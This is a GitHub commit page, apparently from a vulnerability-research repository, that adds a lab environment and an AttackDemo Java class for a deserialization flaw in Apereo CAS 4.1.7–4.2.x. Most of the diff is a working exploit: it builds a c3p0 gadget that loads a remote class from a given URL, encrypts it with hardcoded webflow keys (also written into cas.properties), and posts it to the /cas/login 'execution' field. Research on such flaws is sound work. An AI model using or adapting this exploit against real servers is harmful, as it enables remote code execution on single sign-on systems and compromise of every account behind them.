Skip to content

Commit 0f4123a

Browse files
author
threedr3am
committed
feat:cas-4.1.x~4.1.6 and 4.1.7~4.2.x 环境修复以及 attack demo
1 parent 58b5222 commit 0f4123a

File tree

18 files changed

+940
-298
lines changed

18 files changed

+940
-298
lines changed

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,3 +2,4 @@
22
*.iml
33
target
44
cas/**/overlays
5+
cas/**/lib

README.md

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -65,4 +65,11 @@ tomcat ajp协议相关漏洞
6565

6666
### cas
6767

68-
cas相关漏洞
68+
cas相关漏洞
69+
70+
1. cas-4.1.x~4.1.6 反序列化漏洞(利用默认密钥)
71+
2. cas-4.1.7~4.2.x 反序列化漏洞(需要知道加密key和签名key)
72+
73+
---
74+
75+
### spring

cas/4.1.7-4.2.x/pom.xml

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -80,6 +80,26 @@
8080
<type>war</type>
8181
<scope>runtime</scope>
8282
</dependency>
83+
84+
<!-- https://mvnrepository.com/artifact/org.jasig.cas/cas-server-core-util -->
85+
<dependency>
86+
<groupId>org.jasig.cas</groupId>
87+
<artifactId>cas-server-core-util</artifactId>
88+
<version>4.2.7</version>
89+
</dependency>
90+
91+
<!-- https://mvnrepository.com/artifact/org.jasig.cas/cas-server-webapp-support -->
92+
<dependency>
93+
<groupId>org.jasig.cas</groupId>
94+
<artifactId>cas-server-webapp-support</artifactId>
95+
<version>4.2.7</version>
96+
</dependency>
97+
98+
<dependency>
99+
<groupId>com.xyh</groupId>
100+
<artifactId>common</artifactId>
101+
<version>1.0-SNAPSHOT</version>
102+
</dependency>
83103
</dependencies>
84104

85105
<properties>
Lines changed: 205 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,205 @@
1+
package com.threedr3am.bug.cas;
2+
3+
import com.mchange.v2.c3p0.PoolBackedDataSource;
4+
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
5+
import com.threedr3am.bug.common.utils.HttpUtil;
6+
import com.threedr3am.bug.common.utils.Reflections;
7+
import com.unboundid.util.Base64;
8+
import java.io.ByteArrayInputStream;
9+
import java.io.ByteArrayOutputStream;
10+
import java.io.IOException;
11+
import java.io.ObjectInputStream;
12+
import java.io.ObjectOutputStream;
13+
import java.io.PrintWriter;
14+
import java.net.URL;
15+
import java.net.URLEncoder;
16+
import java.security.KeyStore;
17+
import java.sql.SQLException;
18+
import java.sql.SQLFeatureNotSupportedException;
19+
import java.util.logging.Logger;
20+
import java.util.regex.Matcher;
21+
import java.util.regex.Pattern;
22+
import java.util.zip.GZIPInputStream;
23+
import java.util.zip.GZIPOutputStream;
24+
import javax.naming.NamingException;
25+
import javax.naming.Reference;
26+
import javax.naming.Referenceable;
27+
import javax.sql.ConnectionPoolDataSource;
28+
import javax.sql.PooledConnection;
29+
import org.cryptacular.bean.BufferedBlockCipherBean;
30+
import org.cryptacular.bean.CipherBean;
31+
import org.cryptacular.bean.KeyStoreFactoryBean;
32+
import org.cryptacular.generator.sp80038a.RBGNonce;
33+
import org.cryptacular.io.URLResource;
34+
import org.cryptacular.spec.BufferedBlockCipherSpec;
35+
import org.jasig.cas.util.BinaryCipherExecutor;
36+
import org.jasig.cas.web.flow.CasWebflowCipherBean;
37+
import org.jasig.spring.webflow.plugin.Transcoder;
38+
39+
/**
40+
* @author threedr3am
41+
*/
42+
public class AttackDemo {
43+
44+
public static void main(String[] args) throws Exception {
45+
WebflowCipherExecutor webflowCipherExecutor = new WebflowCipherExecutor("BjhXuZMDpvFqaYQl", "LQrGyGjxwnk-0fLEC4mjR1q_mX9CvPLyt9Siy_GfG592WgZc97wWOjifuslNbUdhU9h5dwac1n8nGoZh8yo2Dw", "AES");
46+
CasWebflowCipherBean casWebflowCipherBean = new CasWebflowCipherBean(webflowCipherExecutor);
47+
byte[] bytes = new EncryptedTranscoder(casWebflowCipherBean).encode(makeGadget("http://127.0.0.1:80:Calc"));
48+
String base64 = Base64.encode(bytes);
49+
String html = HttpUtil.get("http://localhost:8080/cas/login");
50+
Matcher matcher = Pattern.compile("name=\"execution\" value=\"(.+?)\"").matcher(html);
51+
if (matcher.find()) {
52+
String execution = matcher.group(1);
53+
if (execution != null && execution.length() > 0) {
54+
String uuid = execution.split("_")[0];
55+
System.out.println(HttpUtil.post("http://localhost:8080/cas/login", "execution=" + uuid + "_" + URLEncoder.encode(base64)));
56+
}
57+
}
58+
}
59+
60+
public static Object makeGadget(String command) throws Exception {
61+
int sep = command.lastIndexOf(':');
62+
if ( sep < 0 ) {
63+
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
64+
}
65+
66+
String url = command.substring(0, sep);
67+
String className = command.substring(sep + 1);
68+
69+
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
70+
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
71+
return b;
72+
}
73+
74+
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
75+
76+
private String className;
77+
private String url;
78+
79+
public PoolSource ( String className, String url ) {
80+
this.className = className;
81+
this.url = url;
82+
}
83+
84+
public Reference getReference () throws NamingException {
85+
return new Reference("exploit", this.className, this.url);
86+
}
87+
88+
public PrintWriter getLogWriter () throws SQLException {return null;}
89+
public void setLogWriter ( PrintWriter out ) throws SQLException {}
90+
public void setLoginTimeout ( int seconds ) throws SQLException {}
91+
public int getLoginTimeout () throws SQLException {return 0;}
92+
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
93+
public PooledConnection getPooledConnection () throws SQLException {return null;}
94+
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
95+
96+
}
97+
98+
99+
public static class EncryptedTranscoder implements Transcoder {
100+
private CipherBean cipherBean;
101+
private boolean compression = true;
102+
103+
public EncryptedTranscoder() throws IOException {
104+
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
105+
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
106+
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
107+
bufferedBlockCipherBean.setKeyAlias("aes128");
108+
bufferedBlockCipherBean.setKeyPassword("changeit");
109+
bufferedBlockCipherBean.setNonce(new RBGNonce());
110+
this.setCipherBean(bufferedBlockCipherBean);
111+
}
112+
113+
public EncryptedTranscoder(CipherBean cipherBean) throws IOException {
114+
this.setCipherBean(cipherBean);
115+
}
116+
117+
public void setCompression(boolean compression) {
118+
this.compression = compression;
119+
}
120+
121+
protected void setCipherBean(CipherBean cipherBean) {
122+
this.cipherBean = cipherBean;
123+
}
124+
125+
public byte[] encode(Object o) throws IOException {
126+
if (o == null) {
127+
return new byte[0];
128+
} else {
129+
ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
130+
ObjectOutputStream out = null;
131+
132+
try {
133+
if (this.compression) {
134+
out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
135+
} else {
136+
out = new ObjectOutputStream(outBuffer);
137+
}
138+
139+
out.writeObject(o);
140+
} finally {
141+
if (out != null) {
142+
out.close();
143+
}
144+
145+
}
146+
147+
try {
148+
return this.cipherBean.encrypt(outBuffer.toByteArray());
149+
} catch (Exception var7) {
150+
throw new IOException("Encryption error", var7);
151+
}
152+
}
153+
}
154+
155+
public Object decode(byte[] encoded) throws IOException {
156+
byte[] data;
157+
try {
158+
data = this.cipherBean.decrypt(encoded);
159+
} catch (Exception var11) {
160+
throw new IOException("Decryption error", var11);
161+
}
162+
163+
ByteArrayInputStream inBuffer = new ByteArrayInputStream(data);
164+
ObjectInputStream in = null;
165+
166+
Object var5;
167+
try {
168+
if (this.compression) {
169+
in = new ObjectInputStream(new GZIPInputStream(inBuffer));
170+
} else {
171+
in = new ObjectInputStream(inBuffer);
172+
}
173+
174+
var5 = in.readObject();
175+
} catch (ClassNotFoundException var10) {
176+
throw new IOException("Deserialization error", var10);
177+
} finally {
178+
if (in != null) {
179+
in.close();
180+
}
181+
182+
}
183+
184+
return var5;
185+
}
186+
187+
protected KeyStore createAndPrepareKeyStore() {
188+
KeyStoreFactoryBean ksFactory = new KeyStoreFactoryBean();
189+
URL u = this.getClass().getResource("/etc/keystore.jceks");
190+
ksFactory.setResource(new URLResource(u));
191+
ksFactory.setType("JCEKS");
192+
ksFactory.setPassword("changeit");
193+
return ksFactory.newInstance();
194+
}
195+
}
196+
197+
public static class WebflowCipherExecutor extends BinaryCipherExecutor {
198+
199+
public WebflowCipherExecutor(String secretKeyEncryption, String secretKeySigning,
200+
String secretKeyAlg) {
201+
super(secretKeyEncryption, secretKeySigning);
202+
this.setSecretKeyAlgorithm(secretKeyAlg);
203+
}
204+
}
205+
}

cas/4.1.7-4.2.x/src/webapp/WEB-INF/cas.properties renamed to cas/4.1.7-4.2.x/src/main/webapp/WEB-INF/cas.properties

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -183,10 +183,10 @@ server.prefix=${server.name}/cas
183183
# See the cas-servlet.xml file to understand how these properties are used.
184184
#
185185
# The encryption secret key. By default, must be a octet string of size 256.
186-
# webflow.encryption.key=
186+
webflow.encryption.key=BjhXuZMDpvFqaYQl
187187

188188
# The signing secret key. By default, must be a octet string of size 512.
189-
# webflow.signing.key=
189+
webflow.signing.key=LQrGyGjxwnk-0fLEC4mjR1q_mX9CvPLyt9Siy_GfG592WgZc97wWOjifuslNbUdhU9h5dwac1n8nGoZh8yo2Dw
190190

191191
##
192192
# Remote User Authentication

0 commit comments

Comments
 (0)